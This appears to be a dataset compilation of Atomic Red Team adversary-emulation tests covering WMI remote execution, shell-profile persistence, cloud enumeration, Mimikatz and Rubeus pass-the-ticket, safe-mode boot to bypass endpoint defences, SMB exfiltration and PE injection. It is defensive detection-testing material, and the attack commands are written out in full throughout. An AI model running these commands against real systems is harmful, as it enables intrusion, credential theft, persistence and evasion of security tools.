deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Reconnaissance Software
Platforms: windows
Executor: command_prompt

Description:
An adversary might use WMI to list installed Software hotfix and patches.
When the test completes, there should be a list of installed patches and when they were installed.


Command:
wmic qfe get description,installedOn /format:csv
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Reconnaissance List Remote Services
Platforms: windows
Executor: command_prompt

Description:
An adversary might use WMI to check if a certain Remote Service is running on a remote device. 
When the test completes, a service information will be displayed on the screen if it exists.
A common feedback message is that "No instance(s) Available" if the service queried is not running.
A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" 
if the provided remote host is unreachable


Command:
wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Execute Local Process
Platforms: windows
Executor: command_prompt

Description:
This test uses wmic.exe to execute a process on the local host.
When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.


Command:
wmic process call create #{process_to_execute}


Cleanup:
wmic process where name='#{process_to_execute}' delete >nul 2>&1
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Execute Remote Process
Platforms: windows
Executor: command_prompt

Description:
This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
To clean up, provide the same node input as the one provided to run the test
A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable


Command:
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}


Cleanup:
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1
Atomic Red Team — T1047: Windows Management Instrumentation
Test: Create a Process using WMI Query and an Encoded Command
Platforms: windows
Executor: command_prompt

Description:
Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand
 Powershell -nop -exec bypass -EncodedCommand <encoded command>
Where the –EncodedCommand, once decoded, would resemble:
  Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe
You should expect to see notepad.exe running after execution of this test.
[Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)


Command:
powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA
Atomic Red Team — T1047: Windows Management Instrumentation
Test: Create a Process using obfuscated Win32_Process
Platforms: windows
Executor: powershell

Description:
This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)


Command:
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}


Cleanup:
$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
try { $CleanupClass.Delete() } catch {}
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Execute rundll32
Platforms: windows
Executor: command_prompt

Description:
This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.


Command:
wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"


Cleanup:
taskkill /f /im calculator.exe

Dependencies:
DLL with function to execute must exist on disk at specified location (#{dll_to_execute})
Atomic Red Team — T1047: Windows Management Instrumentation
Test: Application uninstall using WMIC
Platforms: windows
Executor: command_prompt

Description:
Emulates uninstalling  applications using WMIC.  This method only works if the product was installed with an msi file.  APTs have been seen using this to uninstall security products.

Command:
wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall

Cleanup:
msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart

Dependencies:
TightVNC must be installed.
Atomic Red Team — T1025: Data from Removable Media
Test: Identify Documents on USB and Removable Media via PowerShell
Platforms: windows
Executor: command_prompt

Description:
This test simulates an attack where PowerShell is used to detect connected USB or other removable storage devices and gather a list of specific document files 
(e.g., .docx, .xls, .txt, .pdf). The command works by first identifying removable drives on the system and then recursively searching through each one for files 
matching the targeted extensions. If no removable drives are present, the script will return a message stating that no media is detected. This behavior mimics 
how adversaries might scan for sensitive documents on removable devices for exfiltration or analysis.


Command:
powershell.exe -c "Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }"
# T1025 - Data from Removable Media

## Description from ATT&CK

> Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
> 
> Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

[Source](https://attack.mitre.org/techniques/T1025)

## Atomic Tests

- [Atomic Test #1: Identify Documents on USB and Removable Media via PowerShell](#atomic-test-1-identify-documents-on-usb-and-removable-media-via-powershell)

### Atomic Test #1: Identify Documents on USB and Removable Media via PowerShell

This test simulates an attack where PowerShell is used to detect connected USB or other removable storage devices and gather a list of specific document files 
(e.g., .docx, .xls, .txt, .pdf). The command works by first identifying removable drives on the system and then recursively searching through each one for files 
matching the targeted extensions. If no removable drives are present, the script will return a message stating that no media is detected. This behavior mimics 
how adversaries might scan for sensitive documents on removable devices for exfiltration or analysis.

**Supported Platforms:** Windows

**auto_generated_guid:** `0b29f7e3-a050-44b7-bf05-9fb86af1ec2e`

#### Attack Commands: Run with `command_prompt`!

```cmd
powershell.exe -c "Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }"
```
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Add command to .bash_profile
Platforms: macos, linux
Executor: sh

Description:
Adds a command to the .bash_profile file of the current user


Command:
echo '#{command_to_add}' >> ~/.bash_profile


Cleanup:
head -n '-2' ~/.bash_profile > /tmp/T1546.004
mv /tmp/T1546.004 ~/.bash_profile
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Add command to .bashrc
Platforms: macos, linux
Executor: sh

Description:
Adds a command to the .bashrc file of the current user


Command:
echo '#{command_to_add}' >> ~/.bashrc


Cleanup:
head -n '-2' ~/.bashrc > /tmp/T1546.004
mv /tmp/T1546.004 ~/.bashrc
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Add command to .shrc
Platforms: linux
Executor: sh

Description:
Adds a command to the .shrc file of the current user


Command:
echo '#{command_to_add}' >> ~/.shrc


Cleanup:
head -n '-2' ~/.shrc > /tmp/T1546.004
mv /tmp/T1546.004 ~/.shrc
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Append to the system shell profile
Platforms: linux
Executor: sh

Description:
An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in.


Command:
echo '#{text_to_append}' >> /etc/profile


Cleanup:
sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Append commands user shell profile
Platforms: linux
Executor: sh

Description:
An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in.


Command:
echo '#{text_to_append}' >> ~/.profile


Cleanup:
sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: System shell profile scripts
Platforms: linux
Executor: sh

Description:
An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in.


Command:
echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh


Cleanup:
sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh
Atomic Red Team — T1546.004: Event Triggered Execution: .bash_profile .bashrc and .shrc
Test: Create/Append to .bash_logout
Platforms: linux
Executor: bash

Description:
The Bash shell runs ~/.bash_logout "if it exists" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an "interactive login shell session" i.e. via the console, SSH, /bin/bash -l or su -l <username>. 

This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/art.txt is created.


Command:
useradd --create-home --shell /bin/bash art
su -l art -c "echo 'echo \"Atomic Red Team was here... T1546.004\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit"


Cleanup:
userdel -fr art
Atomic Red Team — T1526: Cloud Service Discovery
Test: Azure - Dump Subscription Data with MicroBurst
Platforms: iaas:azure
Executor: powershell

Description:
Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. 
The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. 
See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1


Command:
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"
$[CREDENTIAL_REDACTED]-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential | out-null
Get-AzDomainInfo -folder #{output_directory} -subscription "#{subscription_name}" -verbose


Cleanup:
remove-item #{output_directory} -recurse -force -erroraction silentlycontinue


Dependencies:
The Get-AzDomainInfo script must exist in PathToAtomicsFolder\..\ExternalPayloads.

The Az module must be installed.
Atomic Red Team — T1526: Cloud Service Discovery
Test: AWS - Enumerate common cloud services
Platforms: iaas:aws
Executor: powershell

Description:
Upon successful execution, this test will enumerate common resources that are contained within a valid AWS account.


Command:
Import-Module "PathToAtomicsFolder\T1526\src\AWSDiscovery.ps1"
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$regions = "#{regions}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile
Get-AWSDiscoveryData -Regions $regions -OutputDirectory "#{output_directory}"
Remove-BlankFiles -OutputDirectory "#{output_directory}"


Dependencies:
The AWS PowerShell module must be installed.
Atomic Red Team — T1526: Cloud Service Discovery
Test: Azure - Enumerate common cloud services
Platforms: iaas:azure
Executor: powershell

Description:
Upon successful execution, this test will enumerate common resources that are contained within a valid Azure subscription.


Command:
Import-Module "PathToAtomicsFolder\T1526\src\AzureDiscovery.ps1"
$client_id = "#{client_id}"
$client_secret = "#{client_secret}"
$tenant_id = "#{tenant_id}"
$environment = "#{cloud}"
Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment
Get-AzureDiscoveryData -OutputDirectory "#{output_directory}" -Environment $environment
Remove-BlankFiles -OutputDirectory "#{output_directory}"


Dependencies:
The Az module must be installed.
Atomic Red Team — T1550.003: Use Alternate Authentication Material: Pass the Ticket
Test: Mimikatz Kerberos Ticket Attack
Platforms: windows
Executor: command_prompt

Description:
Similar to PTH, but attacking Kerberos


Command:
"#{mimikatz_exe}" "kerberos::ptt #{ticket}"


Dependencies:
Mimikatz must exist on disk at specified location (#{mimikatz_exe})
Atomic Red Team — T1550.003: Use Alternate Authentication Material: Pass the Ticket
Test: Rubeus Kerberos Pass The Ticket
Platforms: windows
Executor: powershell

Description:
Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.


Command:
& "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula \\#{target} -w c:\ -c "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi
Set-Location "PathToAtomicsFolder\..\ExternalPayloads"
Move-Item -Force "\\#{target}\c$\ticket.kirbi" ticket.kirbi
Write-Host "Successfully retrieved TGT from '#{target}', now requesting a TGS from local"
& "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\ticket.kirbi"
& "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe" purge      

Dependencies:
Rubeus must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"

PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"
# T1688 - Safe Mode Boot

## Description from ATT&CK

> Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Windows Startup Settings)(Citation: Sophos Safe Mode Boot)
> 
> Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit)
> 
> Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason safe mode boot)(Citation: BleepingComputer REvil 2021)

[Source](https://attack.mitre.org/techniques/T1688)

## Atomic Tests

- [Atomic Test #1: Safe Mode Boot](#atomic-test-1-safe-mode-boot)

### Atomic Test #1: Safe Mode Boot

Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot

**Supported Platforms:** Windows

**auto_generated_guid:** `2a78362e-b79a-4482-8e24-be397bce4d85`

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
bcdedit /set safeboot network
```

#### Cleanup Commands

```cmd
bcdedit /deletevalue {current} safeboot
```
Atomic Red Team — T1688: Safe Mode Boot
Test: Safe Mode Boot
Platforms: windows
Executor: command_prompt

Description:
Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot

Command:
bcdedit /set safeboot network

Cleanup:
bcdedit /deletevalue {current} safeboot
Atomic Red Team — T1570: Lateral Tool Transfer
Test: Exfiltration Over SMB over QUIC (New-SmbMapping)
Platforms: windows
Executor: powershell

Description:
Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center


Command:
New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck
copy '#{local_file}' 'Z:\'
Atomic Red Team — T1570: Lateral Tool Transfer
Test: Exfiltration Over SMB over QUIC (NET USE)
Platforms: windows
Executor: powershell

Description:
Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center


Command:
NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
copy '#{local_file}' '*:\'
Atomic Red Team — T1613: Container and Resource Discovery
Test: Docker Container and Resource Discovery
Platforms: containers
Executor: sh

Description:
Adversaries may attempt to discover containers and other resources that are available within a containers environment.

Command:
docker build -t t1613 $PathtoAtomicsFolder/T1613/src/
docker run --name t1613_container --rm -d -t t1613
docker ps
docker stats --no-stream
docker inspect $(docker ps -l -q --filter ancestor=t1613)

Cleanup:
docker stop t1613_container
docker rmi -f t1613

Dependencies:
Verify Docker is installed.
Verify Docker service is running.
Atomic Red Team — T1613: Container and Resource Discovery
Test: Podman Container and Resource Discovery
Platforms: containers
Executor: sh

Description:
Adversaries may attempt to discover containers and other resources that are available within a containers environment.

Command:
podman build -t t1613 $PathtoAtomicsFolder/T1613/src/
podman run --name t1613_container --rm -d -t t1613
podman ps
podman stats --no-stream
podman inspect $(podman ps -l -q --filter ancestor=t1613)

Cleanup:
podman stop t1613_container
podman rmi -f t1613

Dependencies:
Verify Podman is installed.
Verify Podman service is running.
# T1055.002 - Process Injection: Portable Executable Injection

## Description from ATT&CK

> Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
> 
> PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
> 
> Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

[Source](https://attack.mitre.org/techniques/T1055/002)

## Atomic Tests

- [Atomic Test #1: Portable Executable Injection](#atomic-test-1-portable-executable-injection)

### Atomic Test #1: Portable Executable Injection

This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.

**Supported Platforms:** Windows

**auto_generated_guid:** `578025d5-faa9-4f6d-8390-aae739d503e1`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| exe_binary | PE binary | path | PathToAtomicsFolder&#92;T1055.002&#92;bin&#92;RedInjection.exe|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
```

#### Cleanup Commands

```powershell
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
```

#### Dependencies: Run with `powershell`!

##### Description: Portable Executable to inject must exist at specified location (#{exe_binary})

###### Check Prereq Commands

```powershell
if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}"
```